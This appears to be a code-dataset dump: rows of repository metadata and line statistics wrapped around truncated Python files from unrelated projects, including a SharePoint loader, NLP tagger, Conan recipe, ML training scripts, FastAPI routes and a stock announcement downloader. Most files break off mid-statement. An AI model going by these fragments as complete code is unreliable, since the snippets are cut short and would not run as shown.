] | 4 | 2020-09-18T09:58:14.000Z | 2021-12-13T20:47:39.000Z | scripts/loader_to_sharepoint.py | lawrkelly/python-useful-scripts | dfa044049e41bd0faed96473a79b4a25e051c198 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# Loader_to_sharepoint.py
#
#
from pathlib import Path
import os.path
import requests,json,urllib
import pandas as pd
import collections
from collections import defaultdict
import xmltodict
import getpass
from shareplum import Office365
from shareplum.site import Version
from sha... | 32.89418 | 149 | 0.579379 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,648 | 0.425929 |
b2a1766bc5fbc87d90f9559b3c26e49052f3b261 | 869 | py | Python | tests/test_tunnels_released.py | jhaapako/tcf | ecd75404459c6fec9d9fa1522b70a8deab896644 | [
"Apache-2.0"
] | 24 | 2018-08-21T18:04:48.000Z | 2022-02-07T22:50:06.000Z | tests/test_tunnels_released.py | jhaapako/tcf | ecd75404459c6fec9d9fa1522b70a8deab896644 | [
"Apache-2.0"
] | 16 | 2018-08-21T18:03:52.000Z | 2022-03-01T17:15:42.000Z | tests/test_tunnels_released.py | jhaapako/tcf | ecd75404459c6fec9d9fa1522b70a8deab896644 | [
"Apache-2.0"
] | 29 | 2018-08-22T19:40:59.000Z | 2021-12-21T11:13:23.000Z | #! /usr/bin/python3
#
# Copyright (c) 2017 Intel Corporation
#
# SPDX-License-Identifier: Apache-2.0
#
# pylint: disable = missing-docstring
import os
import socket
import commonl.testing
import tcfl
import tcfl.tc
srcdir = os.path.dirname(__file__)
ttbd = commonl.testing.test_ttbd(config_files = [
# strip to re... | 24.138889 | 77 | 0.700806 | 384 | 0.441887 | 0 | 0 | 415 | 0.47756 | 0 | 0 | 392 | 0.451093 |
b2a18a1d5893e676f4cfbf5555c659a91725ab53 | 52,309 | py | Python | tagger-algo.py | li992/MAT | a5fb87b2d1ef667e5eb4a1c4e87caae6f1f75292 | [
"Apache-2.0"
] | null | null | null | tagger-algo.py | li992/MAT | a5fb87b2d1ef667e5eb4a1c4e87caae6f1f75292 | [
"Apache-2.0"
] | null | null | null | tagger-algo.py | li992/MAT | a5fb87b2d1ef667e5eb4a1c4e87caae6f1f75292 | [
"Apache-2.0"
] | null | null | null | import glob,os,stanza,argparse
from datetime import datetime
# route initiation
directory_path = os.getcwd()
#stanford tagger initiation
nlp = stanza.Pipeline('en')
dimDict ={}
# type specifiers
have = ["have","has","'ve","had","having","hath"]
do = ["do","does","did","doing","done"]
wp = ["who","whom","whose","whic... | 71.853022 | 3,008 | 0.580569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15,578 | 0.297807 |
b2a64ad7dcb9aaa41898aea3c2d8af7ef4fc0f3f | 1,582 | py | Python | template.py | deepak7376/design_pattern | 855aa0879d478f7b2682c2ae5e92599b5c81a1c6 | [
"MIT"
] | null | null | null | template.py | deepak7376/design_pattern | 855aa0879d478f7b2682c2ae5e92599b5c81a1c6 | [
"MIT"
] | null | null | null | template.py | deepak7376/design_pattern | 855aa0879d478f7b2682c2ae5e92599b5c81a1c6 | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
class AverageCalculator(ABC):
def average(self):
try:
num_items = 0
total_sum = 0
while self.has_next():
total_sum += self.next_item()
num_items += 1
if num_items == 0:
ra... | 21.972222 | 78 | 0.583439 | 1,326 | 0.83818 | 0 | 0 | 107 | 0.067636 | 0 | 0 | 166 | 0.10493 |
b2a90936580b1ab7bbc9587223bca80795b6020a | 2,906 | py | Python | conanfile.py | helmesjo/conan-lua | da8f0c54ac9d1949c6ac64d9ab64639df8226061 | [
"MIT"
] | null | null | null | conanfile.py | helmesjo/conan-lua | da8f0c54ac9d1949c6ac64d9ab64639df8226061 | [
"MIT"
] | 1 | 2019-12-26T18:53:06.000Z | 2020-02-12T13:45:40.000Z | conanfile.py | helmesjo/conan-lua | da8f0c54ac9d1949c6ac64d9ab64639df8226061 | [
"MIT"
] | null | null | null | from conans import ConanFile, CMake, tools
import os
dir_path = os.path.dirname(os.path.realpath(__file__))
class LuaConan(ConanFile):
name = "Lua"
version = "5.3.5"
description = "Lua is a powerful, fast, lightweight, embeddable scripting language."
# topics can get used for searches, GitHub topics, ... | 42.735294 | 151 | 0.66724 | 2,795 | 0.961803 | 0 | 0 | 0 | 0 | 0 | 0 | 1,297 | 0.446318 |
b2a93406f378840531084977a82ef40530d2aedf | 3,800 | py | Python | train.py | mcao610/My_BART | 0f5963ff8688986e28b2ff94a9cc7a3a0adcf3a3 | [
"MIT"
] | null | null | null | train.py | mcao610/My_BART | 0f5963ff8688986e28b2ff94a9cc7a3a0adcf3a3 | [
"MIT"
] | null | null | null | train.py | mcao610/My_BART | 0f5963ff8688986e28b2ff94a9cc7a3a0adcf3a3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import torch
import logging
import torch.distributed as dist
import torch.multiprocessing as mp
from torch.utils.data import Dataset, DataLoader, BatchSampler
from torch.utils.data.distributed import DistributedSampler
from fairseq.tasks.translation ... | 31.932773 | 103 | 0.669737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 867 | 0.228158 |
b2aa5d4587a6ca679b22dbefb38488aae64a9c0e | 4,555 | py | Python | yaml-to-md.py | phlummox/pptx-to-md | 6bd16c9cdf28946cd0ab9b8766b6eea1410de705 | [
"Unlicense"
] | 2 | 2022-02-19T11:45:56.000Z | 2022-03-07T13:34:09.000Z | yaml-to-md.py | phlummox/pptx-to-md | 6bd16c9cdf28946cd0ab9b8766b6eea1410de705 | [
"Unlicense"
] | null | null | null | yaml-to-md.py | phlummox/pptx-to-md | 6bd16c9cdf28946cd0ab9b8766b6eea1410de705 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python3
"""
intermediate yaml to markdown conversion
"""
import sys
import yaml
def yaml_to_markdown(yaml, outfile):
"""Given a list of dicts representing PowerPoint slides
-- presumably loaded from a YAML file -- convert to
markdown and print the result on the file-like
object 'outfile'.
""... | 25.305556 | 88 | 0.630077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,063 | 0.452909 |
b2aacb8c58e5a1abfc8fe218bf0ba965384b2044 | 1,032 | py | Python | library/real/display_real.py | console-beaver/MIT-Racecar-cbeast | f7f9c156e7072da7acc680ae1ad1de344253ae05 | [
"MIT"
] | null | null | null | library/real/display_real.py | console-beaver/MIT-Racecar-cbeast | f7f9c156e7072da7acc680ae1ad1de344253ae05 | [
"MIT"
] | null | null | null | library/real/display_real.py | console-beaver/MIT-Racecar-cbeast | f7f9c156e7072da7acc680ae1ad1de344253ae05 | [
"MIT"
] | null | null | null | """
Copyright Harvey Mudd College
MIT License
Spring 2020
Contains the Display module of the racecar_core library
"""
import cv2 as cv
import os
from nptyping import NDArray
from display import Display
class DisplayReal(Display):
__WINDOW_NAME: str = "RACECAR display window"
__DISPLAY: str = ":1"
def _... | 23.454545 | 78 | 0.587209 | 825 | 0.799419 | 0 | 0 | 0 | 0 | 0 | 0 | 255 | 0.247093 |
b2ad711075be04cba1f9b409149e9a9fc3958436 | 749 | py | Python | DominantSparseEigenAD/tests/demos/2ndderivative.py | buwantaiji/DominantSparseEigenAD | 36d534b6713ba256309b07116ebc542bee01cd51 | [
"Apache-2.0"
] | 23 | 2019-10-29T03:35:18.000Z | 2022-02-11T16:38:24.000Z | DominantSparseEigenAD/tests/demos/2ndderivative.py | navyTensor/DominantSparseEigenAD | 3a5ac361edafd82f98ecf4d9fcad5c4e0b242178 | [
"Apache-2.0"
] | null | null | null | DominantSparseEigenAD/tests/demos/2ndderivative.py | navyTensor/DominantSparseEigenAD | 3a5ac361edafd82f98ecf4d9fcad5c4e0b242178 | [
"Apache-2.0"
] | 6 | 2019-11-06T09:09:45.000Z | 2022-02-09T06:24:15.000Z | """
A small toy example demonstrating how the process of computing 1st
derivative can be added to the original computation graph to produce an enlarged
graph whose back-propagation yields the 2nd derivative.
"""
import torch
x = torch.randn(10, requires_grad=True)
exp = torch.exp(x)
cos = torch.cos(x)
y = exp * co... | 32.565217 | 86 | 0.695594 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 289 | 0.385848 |
b2adb9d7006450ffeda3b214aef1de0a2d913357 | 1,335 | py | Python | test_default.py | dukedhx/tokenflex-reporting-python-script | f837b4e4a1cf388620da94abbaddab6bcabd51a8 | [
"MIT"
] | 4 | 2018-12-17T09:09:44.000Z | 2020-12-15T16:35:47.000Z | test_default.py | dukedhx/tokenflex-reporting-python-script | f837b4e4a1cf388620da94abbaddab6bcabd51a8 | [
"MIT"
] | null | null | null | test_default.py | dukedhx/tokenflex-reporting-python-script | f837b4e4a1cf388620da94abbaddab6bcabd51a8 | [
"MIT"
] | 4 | 2019-09-01T10:08:32.000Z | 2021-01-09T10:12:46.000Z | #####################################################################
## Copyright (c) Autodesk, Inc. All rights reserved
## Written by Forge Partner Development
##
## Permission to use, copy, modify, and distribute this software in
## object code form for any purpose and without fee is hereby granted,
## provided that... | 32.560976 | 70 | 0.691386 | 0 | 0 | 0 | 0 | 93 | 0.069663 | 0 | 0 | 855 | 0.640449 |
b2ae0f0ae136e69e9eedb942d08d354586e0fafa | 4,850 | py | Python | HyperAPI/hdp_api/routes/nitro.py | RomainGeffraye/HyperAPI | 6bcd831ee48abb3a4f67f85051bc0d2a07c7aaef | [
"BSD-3-Clause"
] | null | null | null | HyperAPI/hdp_api/routes/nitro.py | RomainGeffraye/HyperAPI | 6bcd831ee48abb3a4f67f85051bc0d2a07c7aaef | [
"BSD-3-Clause"
] | null | null | null | HyperAPI/hdp_api/routes/nitro.py | RomainGeffraye/HyperAPI | 6bcd831ee48abb3a4f67f85051bc0d2a07c7aaef | [
"BSD-3-Clause"
] | null | null | null | from HyperAPI.hdp_api.routes import Resource, Route
from HyperAPI.hdp_api.routes.base.version_management import available_since
class Nitro(Resource):
name = "nitro"
class _getForecasts(Route):
name = "getForecasts"
httpMethod = Route.POST
path = "/nitro/projects/{project_ID}/datasets... | 38.188976 | 113 | 0.640412 | 4,719 | 0.97299 | 0 | 0 | 843 | 0.173814 | 0 | 0 | 1,671 | 0.344536 |
b2b1ab378336c1f38be58369252277dd0f368208 | 4,883 | py | Python | third_party/pyth/p2w_autoattest.py | dendisuhubdy/wormhole | 29cd5a3934aaf489a1b7aa45495414c5cb974c82 | [
"Apache-2.0"
] | 695 | 2020-08-29T22:42:51.000Z | 2022-03-31T05:33:57.000Z | third_party/pyth/p2w_autoattest.py | dendisuhubdy/wormhole | 29cd5a3934aaf489a1b7aa45495414c5cb974c82 | [
"Apache-2.0"
] | 478 | 2020-08-30T16:48:42.000Z | 2022-03-30T23:00:11.000Z | third_party/pyth/p2w_autoattest.py | dendisuhubdy/wormhole | 29cd5a3934aaf489a1b7aa45495414c5cb974c82 | [
"Apache-2.0"
] | 230 | 2020-10-19T06:44:13.000Z | 2022-03-28T11:11:47.000Z | #!/usr/bin/env python3
# This script sets up a simple loop for periodical attestation of Pyth data
from pyth_utils import *
from http.client import HTTPConnection
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import os
import re
import subprocess
import time
import threading
P2W_ADDRESS = ... | 27.587571 | 87 | 0.683596 | 590 | 0.120827 | 0 | 0 | 0 | 0 | 0 | 0 | 1,684 | 0.34487 |
a22accaa90f9f185eea9b823f9c8bb986540fecb | 3,644 | py | Python | hands-on_introduction/3 - model_validation.py | varunpandey0502/skyfi_labs_ml_workshop | 6a209a16ca3674c1d2cd75e4dcc2e695f50dc583 | [
"MIT"
] | null | null | null | hands-on_introduction/3 - model_validation.py | varunpandey0502/skyfi_labs_ml_workshop | 6a209a16ca3674c1d2cd75e4dcc2e695f50dc583 | [
"MIT"
] | null | null | null | hands-on_introduction/3 - model_validation.py | varunpandey0502/skyfi_labs_ml_workshop | 6a209a16ca3674c1d2cd75e4dcc2e695f50dc583 | [
"MIT"
] | null | null | null | import pandas as pd
melbourne_file_path = './melbourne_housing_data.csv'
melbourne_data = pd.read_csv(melbourne_file_path)
melbourne_data.dropna(axis=0)
y = melbourne_data.Price
melbourne_features = ['Rooms','Bathroom','Landsize','Lattitude','Longtitude']
X = melbourne_data[melbourne_features]
X.describe()
X.he... | 35.378641 | 353 | 0.791164 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,753 | 0.755488 |
a22cbabe9b6d8f3afdad45c7ee147591f90ad7e9 | 3,406 | py | Python | src/npu/comprehension.py | feagi/feagi | 598abbe294b5d9cd7ff34861fa6568ba899b2ab8 | [
"Apache-2.0"
] | 1 | 2022-03-17T08:27:11.000Z | 2022-03-17T08:27:11.000Z | src/npu/comprehension.py | feagi/feagi | 598abbe294b5d9cd7ff34861fa6568ba899b2ab8 | [
"Apache-2.0"
] | 1 | 2022-02-10T16:30:35.000Z | 2022-02-10T16:33:21.000Z | src/npu/comprehension.py | feagi/feagi | 598abbe294b5d9cd7ff34861fa6568ba899b2ab8 | [
"Apache-2.0"
] | 1 | 2022-02-07T22:15:54.000Z | 2022-02-07T22:15:54.000Z |
# Copyright 2016-2022 The FEAGI Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 44.233766 | 120 | 0.620376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,827 | 0.536406 |
a22ccf953739987c462b05149a48bd232390c0be | 5,286 | py | Python | policyhandler/onap/process_info.py | alex-sh2020/dcaegen2-platform-policy-handler | e969b079e331cc32b1ca361c49ee7b56e43900a7 | [
"Apache-2.0",
"CC-BY-4.0"
] | 2 | 2020-07-14T18:54:07.000Z | 2020-07-14T19:16:06.000Z | policyhandler/onap/process_info.py | alex-sh2020/dcaegen2-platform-policy-handler | e969b079e331cc32b1ca361c49ee7b56e43900a7 | [
"Apache-2.0",
"CC-BY-4.0"
] | null | null | null | policyhandler/onap/process_info.py | alex-sh2020/dcaegen2-platform-policy-handler | e969b079e331cc32b1ca361c49ee7b56e43900a7 | [
"Apache-2.0",
"CC-BY-4.0"
] | 2 | 2020-07-14T18:53:46.000Z | 2021-10-15T16:55:54.000Z | # ================================================================================
# Copyright (c) 2018 AT&T Intellectual Property. All rights reserved.
# ================================================================================
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use ... | 34.54902 | 95 | 0.573023 | 3,810 | 0.720772 | 0 | 0 | 3,754 | 0.710178 | 0 | 0 | 1,702 | 0.321983 |
a22d14123c5934e462a7334c1d55b574adf6c9be | 3,403 | py | Python | 10-19/14. normalize_sentences/test_normalize_sentences.py | dcragusa/PythonMorsels | 5f75b51a68769036e4004e9ccdada6b220124ab6 | [
"MIT"
] | 1 | 2021-11-30T05:03:24.000Z | 2021-11-30T05:03:24.000Z | 10-19/14. normalize_sentences/test_normalize_sentences.py | dcragusa/PythonMorsels | 5f75b51a68769036e4004e9ccdada6b220124ab6 | [
"MIT"
] | null | null | null | 10-19/14. normalize_sentences/test_normalize_sentences.py | dcragusa/PythonMorsels | 5f75b51a68769036e4004e9ccdada6b220124ab6 | [
"MIT"
] | 2 | 2021-04-18T05:26:43.000Z | 2021-11-28T18:46:43.000Z | import unittest
from textwrap import dedent
from normalize_sentences import normalize_sentences
class NormalizeSentencesTests(unittest.TestCase):
"""Tests for normalize_sentences."""
maxDiff = 1000
def test_no_sentences(self):
sentence = "This isn't a sentence"
self.assertEqual(normali... | 33.362745 | 78 | 0.601234 | 3,243 | 0.952983 | 0 | 0 | 0 | 0 | 0 | 0 | 1,521 | 0.446959 |
a22d9fe19ea5e2d8a40235675b25713b84b3f165 | 2,673 | py | Python | graph/renkolib.py | kUNWAR-DIVYANSHU/stockui | f85a26b461512fefd33a4f2acfa30d178de3d118 | [
"MIT"
] | 2 | 2021-08-28T20:37:01.000Z | 2021-08-30T12:01:33.000Z | graph/renkolib.py | kUNWAR-DIVYANSHU/stockui | f85a26b461512fefd33a4f2acfa30d178de3d118 | [
"MIT"
] | null | null | null | graph/renkolib.py | kUNWAR-DIVYANSHU/stockui | f85a26b461512fefd33a4f2acfa30d178de3d118 | [
"MIT"
] | null | null | null | import atrlib
import pandas as pd
# module for calculation of data for renko graph
def renko(df):
d , l , h ,lbo ,lbc,vol=[],[],[],[],[],[]
brick_size = atrlib.brick_size(df)
volume = 0.0
for i in range(0,len(df)):
if i==0:
if(df['close'][i]>df['open'][i]):
d.append(... | 37.647887 | 63 | 0.412645 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 239 | 0.089413 |
a22ef44872867d8b0cd94176f76c246bfbaa7a25 | 2,846 | py | Python | utils/utils.py | SoliareofAstora/Metagenomic-DeepFRI | 7ee12c5bc34f9103f113e93f570719686f856372 | [
"BSD-3-Clause"
] | null | null | null | utils/utils.py | SoliareofAstora/Metagenomic-DeepFRI | 7ee12c5bc34f9103f113e93f570719686f856372 | [
"BSD-3-Clause"
] | null | null | null | utils/utils.py | SoliareofAstora/Metagenomic-DeepFRI | 7ee12c5bc34f9103f113e93f570719686f856372 | [
"BSD-3-Clause"
] | 1 | 2022-01-12T10:41:51.000Z | 2022-01-12T10:41:51.000Z | import os
import pathlib
import requests
import shutil
import subprocess
import time
ENV_PATHS = set()
def add_path_to_env(path):
ENV_PATHS.add(path)
def run_command(command, timeout=-1):
if type(command) == str:
command = str.split(command, ' ')
my_env = os.environ.copy()
my_env["PATH"] +... | 28.747475 | 132 | 0.627899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 241 | 0.08468 |
a22fe2112341437f4d8c36db1b3319ad00230552 | 2,274 | py | Python | fuzzinator/tracker/github_tracker.py | akosthekiss/fuzzinator | 194e199bb0efea26b857ad05f381f72e7a9b8f66 | [
"BSD-3-Clause"
] | null | null | null | fuzzinator/tracker/github_tracker.py | akosthekiss/fuzzinator | 194e199bb0efea26b857ad05f381f72e7a9b8f66 | [
"BSD-3-Clause"
] | null | null | null | fuzzinator/tracker/github_tracker.py | akosthekiss/fuzzinator | 194e199bb0efea26b857ad05f381f72e7a9b8f66 | [
"BSD-3-Clause"
] | 1 | 2018-06-28T05:21:21.000Z | 2018-06-28T05:21:21.000Z | # Copyright (c) 2016-2022 Renata Hodovan, Akos Kiss.
#
# Licensed under the BSD 3-Clause License
# <LICENSE.rst or https://opensource.org/licenses/BSD-3-Clause>.
# This file may not be copied, modified, or distributed except
# according to those terms.
try:
# FIXME: very nasty, but a recent PyGithub version began ... | 34.454545 | 145 | 0.670624 | 1,454 | 0.639402 | 0 | 0 | 0 | 0 | 0 | 0 | 1,329 | 0.584433 |
a2315dd43508aee4e316bc2ccbff15322163a590 | 2,624 | py | Python | qmdz_const.py | cygnushan/measurement | 644e8b698faf50dcc86d88834675d6adf1281b10 | [
"MIT"
] | 1 | 2022-03-18T18:38:02.000Z | 2022-03-18T18:38:02.000Z | qmdz_const.py | cygnushan/measurement | 644e8b698faf50dcc86d88834675d6adf1281b10 | [
"MIT"
] | null | null | null | qmdz_const.py | cygnushan/measurement | 644e8b698faf50dcc86d88834675d6adf1281b10 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import sys
import os
from init_op import read_config
# ROOT_PATH = os.path.split(os.path.realpath(__file__))[0]
if getattr(sys, 'frozen', None):
ROOT_DIR = os.path.dirname(sys.executable)
else:
ROOT_DIR = os.path.dirname(__file__)
VI_CONF_PATH = ROOT_DIR + "\conf\VI_CONF.ini"
ST_CON... | 24.523364 | 92 | 0.596418 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 950 | 0.341236 |
a231a6c5e1e9bfd374c54640c8a12d24c01e3857 | 93 | py | Python | lattedb/linksmear/apps.py | callat-qcd/lattedb | 75c06748f3d59332a84ec1b5794c215c5974a46f | [
"BSD-3-Clause"
] | 1 | 2019-12-11T02:33:23.000Z | 2019-12-11T02:33:23.000Z | lattedb/linksmear/apps.py | callat-qcd/lattedb | 75c06748f3d59332a84ec1b5794c215c5974a46f | [
"BSD-3-Clause"
] | 10 | 2020-01-29T17:06:01.000Z | 2021-05-31T14:41:19.000Z | lattedb/linksmear/apps.py | callat-qcd/lattedb | 75c06748f3d59332a84ec1b5794c215c5974a46f | [
"BSD-3-Clause"
] | null | null | null | from django.apps import AppConfig
class LinkSmearConfig(AppConfig):
name = "linksmear"
| 15.5 | 33 | 0.763441 | 56 | 0.602151 | 0 | 0 | 0 | 0 | 0 | 0 | 11 | 0.11828 |
a232ee55bbdd0227f3c92c01f62af655cba96907 | 2,088 | py | Python | project/repository/user.py | tobiasaditya/fastapi-blog | 0f50f4261755f926ce9e951db8237a5f38384dcb | [
"MIT"
] | null | null | null | project/repository/user.py | tobiasaditya/fastapi-blog | 0f50f4261755f926ce9e951db8237a5f38384dcb | [
"MIT"
] | null | null | null | project/repository/user.py | tobiasaditya/fastapi-blog | 0f50f4261755f926ce9e951db8237a5f38384dcb | [
"MIT"
] | null | null | null | from typing import List
from fastapi import APIRouter
from fastapi.params import Depends
from fastapi import HTTPException, status
from sqlalchemy.orm.session import Session
from project import schema, models, database, hashing
router = APIRouter(
prefix="/user",
tags=['Users']
)
@router.post('/new')
def crea... | 33.142857 | 102 | 0.724617 | 0 | 0 | 0 | 0 | 881 | 0.421935 | 0 | 0 | 945 | 0.452586 |
a23471f40d09455ca7a0123fbc08ae7b2e5ada89 | 17,643 | py | Python | milking_cowmask/data_sources/imagenet_data_source.py | deepneuralmachine/google-research | d2ce2cf0f5c004f8d78bfeddf6e88e88f4840231 | [
"Apache-2.0"
] | 23,901 | 2018-10-04T19:48:53.000Z | 2022-03-31T21:27:42.000Z | milking_cowmask/data_sources/imagenet_data_source.py | deepneuralmachine/google-research | d2ce2cf0f5c004f8d78bfeddf6e88e88f4840231 | [
"Apache-2.0"
] | 891 | 2018-11-10T06:16:13.000Z | 2022-03-31T10:42:34.000Z | milking_cowmask/data_sources/imagenet_data_source.py | deepneuralmachine/google-research | d2ce2cf0f5c004f8d78bfeddf6e88e88f4840231 | [
"Apache-2.0"
] | 6,047 | 2018-10-12T06:31:02.000Z | 2022-03-31T13:59:28.000Z | # coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 36.75625 | 100 | 0.677719 | 8,467 | 0.479907 | 0 | 0 | 0 | 0 | 0 | 0 | 4,472 | 0.253472 |
a2397ee156e882b19d6dbf902268121905eaf802 | 4,293 | py | Python | utils/image.py | ariel415el/Efficient-GPNN | 05f6588c3cc920e810d71fc9ed001f8915d7fc8a | [
"Apache-2.0"
] | 7 | 2021-11-11T22:57:14.000Z | 2022-03-23T08:47:00.000Z | utils/image.py | ariel415el/Efficient-GPNN | 05f6588c3cc920e810d71fc9ed001f8915d7fc8a | [
"Apache-2.0"
] | null | null | null | utils/image.py | ariel415el/Efficient-GPNN | 05f6588c3cc920e810d71fc9ed001f8915d7fc8a | [
"Apache-2.0"
] | 4 | 2021-11-18T07:24:09.000Z | 2022-03-26T22:35:05.000Z | import os
import cv2
import torch
from torch.nn import functional as F
from torchvision import transforms
import torchvision.utils
def save_image(img, path):
os.makedirs(os.path.dirname(path), exist_ok=True)
torchvision.utils.save_image(torch.clip(img, -1, 1), path, normalize=True)
def cv2pt(img):
img =... | 35.775 | 133 | 0.663406 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 754 | 0.175635 |
a23aa98e817822c0db3ba0e76ac9fe51cc297075 | 486 | py | Python | Exercism/triangle/triangle.py | adityaarakeri/Interview-solved | e924011d101621c7121f4f86d82bee089f4c1e25 | [
"MIT"
] | 46 | 2019-10-14T01:21:35.000Z | 2022-01-08T23:55:15.000Z | Exercism/triangle/triangle.py | Siddhant-K-code/Interview-solved | e924011d101621c7121f4f86d82bee089f4c1e25 | [
"MIT"
] | 53 | 2019-10-03T17:16:43.000Z | 2020-12-08T12:48:19.000Z | Exercism/triangle/triangle.py | Siddhant-K-code/Interview-solved | e924011d101621c7121f4f86d82bee089f4c1e25 | [
"MIT"
] | 96 | 2019-10-03T18:12:10.000Z | 2021-03-14T19:41:06.000Z | def is_triangle(func):
def wrapped(sides):
if any(i <= 0 for i in sides):
return False
sum_ = sum(sides)
if any(sides[i] > sum_ - sides[i] for i in range(3)):
return False
return func(sides)
return wrapped
@is_triangle
def is_equilateral(sides):
retu... | 19.44 | 61 | 0.602881 | 0 | 0 | 0 | 0 | 207 | 0.425926 | 0 | 0 | 0 | 0 |
a23daef3bb54fa9c84f160a660ef817f0e87362d | 499 | py | Python | docs/user/visualization/matplotlib/pythonstyle.py | joelfrederico/mytools | 7bf57c49c7dde0a8b0aa337fbd2fbd527ce7a67f | [
"MIT"
] | 1 | 2021-03-31T23:27:09.000Z | 2021-03-31T23:27:09.000Z | docs/user/visualization/matplotlib/pythonstyle.py | joelfrederico/mytools | 7bf57c49c7dde0a8b0aa337fbd2fbd527ce7a67f | [
"MIT"
] | null | null | null | docs/user/visualization/matplotlib/pythonstyle.py | joelfrederico/mytools | 7bf57c49c7dde0a8b0aa337fbd2fbd527ce7a67f | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import matplotlib.gridspec as gridspec
import matplotlib.pyplot as plt
import numpy as np
# Create data to plot
x = np.linspace(0, 10, 100)
y1 = np.sin(x)
y2 = np.cos(x)
# Create a grid
gs = gridspec.GridSpec(1, 2)
# Create a figure
fig = plt.figure(figsize=(16, 6))
# Create axes
ax1 = fig.ad... | 16.633333 | 38 | 0.695391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 147 | 0.294589 |
a23e0e43898b8301125178c7c69d4cccc505d6ca | 21,583 | py | Python | StockAnalysisSystem/ui/Extension/recycled/announcement_downloader.py | SleepySoft/StockAnalysisSystem | 75f95738831614f7946f85d09118e447f7ac6dc7 | [
"Apache-2.0"
] | 138 | 2018-01-03T03:32:49.000Z | 2022-03-12T02:57:46.000Z | StockAnalysisSystem/ui/Extension/recycled/announcement_downloader.py | SleepySoft/StockAnalysisSystem | 75f95738831614f7946f85d09118e447f7ac6dc7 | [
"Apache-2.0"
] | 9 | 2018-01-01T03:16:24.000Z | 2021-05-27T09:57:24.000Z | StockAnalysisSystem/ui/Extension/recycled/announcement_downloader.py | SleepySoft/StockAnalysisSystem | 75f95738831614f7946f85d09118e447f7ac6dc7 | [
"Apache-2.0"
] | 50 | 2019-08-05T01:02:30.000Z | 2022-03-07T00:52:14.000Z | import time
import urllib
import random
import logging
import requests
import datetime
from os import sys, path, makedirs
from PyQt5.QtCore import Qt, QTimer, QDateTime
from PyQt5.QtWidgets import QWidget, QPushButton, QVBoxLayout, QLabel, QComboBox, QDateTimeEdit, QCheckBox, QLineEdit, \
QRadioButton
root_path =... | 39.099638 | 195 | 0.580874 | 16,332 | 0.733792 | 0 | 0 | 7,540 | 0.33877 | 0 | 0 | 6,969 | 0.313115 |
a23e80a2bc9c75ffcdcaee541fdcd296843ceb25 | 1,109 | py | Python | tests/routes/generators/test_random.py | pedrofreitascampospro/locintel | eb9c56cdc308660c31d90abe9fe62bd3634ba273 | [
"MIT"
] | null | null | null | tests/routes/generators/test_random.py | pedrofreitascampospro/locintel | eb9c56cdc308660c31d90abe9fe62bd3634ba273 | [
"MIT"
] | null | null | null | tests/routes/generators/test_random.py | pedrofreitascampospro/locintel | eb9c56cdc308660c31d90abe9fe62bd3634ba273 | [
"MIT"
] | null | null | null | import random
import shapely.geometry as sg
from locintel.quality.generators.random import RandomRoutePlanGenerator, polygons
random.seed(10)
class TestRandomRoutePlanGenerator(object):
def test_random_route_plan_generator(self):
polygon = polygons["berlin"]
generator = RandomRoutePlanGenerator(... | 35.774194 | 85 | 0.733093 | 962 | 0.867448 | 0 | 0 | 0 | 0 | 0 | 0 | 37 | 0.033363 |
a23ebe170e2650bcc75fd785f5c11d3fba8249e1 | 3,878 | py | Python | curtin-rci/local_utils.py | Curtin-Open-Knowledge-Initiative/mag_coverage_report | a75dd1273c44895b5c857ebd498407aa95bd45e5 | [
"Apache-2.0"
] | null | null | null | curtin-rci/local_utils.py | Curtin-Open-Knowledge-Initiative/mag_coverage_report | a75dd1273c44895b5c857ebd498407aa95bd45e5 | [
"Apache-2.0"
] | 2 | 2021-08-30T11:52:25.000Z | 2021-09-02T12:11:05.000Z | curtin-rci/local_utils.py | Curtin-Open-Knowledge-Initiative/mag_coverage_report | a75dd1273c44895b5c857ebd498407aa95bd45e5 | [
"Apache-2.0"
] | 3 | 2021-07-04T07:39:01.000Z | 2021-08-24T15:24:29.000Z | import pandas as pd
import plotly.graph_objects as go
from typing import Union, Optional
from pathlib import Path
def collate_time(df: pd.DataFrame,
columns: Union[str, list[str]],
year_range: Union[list, tuple]):
if type(columns) == str:
columns = [columns]
if type(... | 33.721739 | 95 | 0.57968 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,720 | 0.443528 |
a23fbcb063477231d30f7934e898ac5453872dde | 2,492 | py | Python | scripts/pa-loaddata.py | kbase/probabilistic_annotation | 2454925ca98c80c73bda327a0eff8aed94c5a48d | [
"MIT"
] | null | null | null | scripts/pa-loaddata.py | kbase/probabilistic_annotation | 2454925ca98c80c73bda327a0eff8aed94c5a48d | [
"MIT"
] | null | null | null | scripts/pa-loaddata.py | kbase/probabilistic_annotation | 2454925ca98c80c73bda327a0eff8aed94c5a48d | [
"MIT"
] | null | null | null | #! /usr/bin/python
import argparse
import os
from biokbase.probabilistic_annotation.DataParser import DataParser
from biokbase.probabilistic_annotation.Helpers import get_config
from biokbase import log
desc1 = '''
NAME
pa-loaddata -- load static database of gene annotations
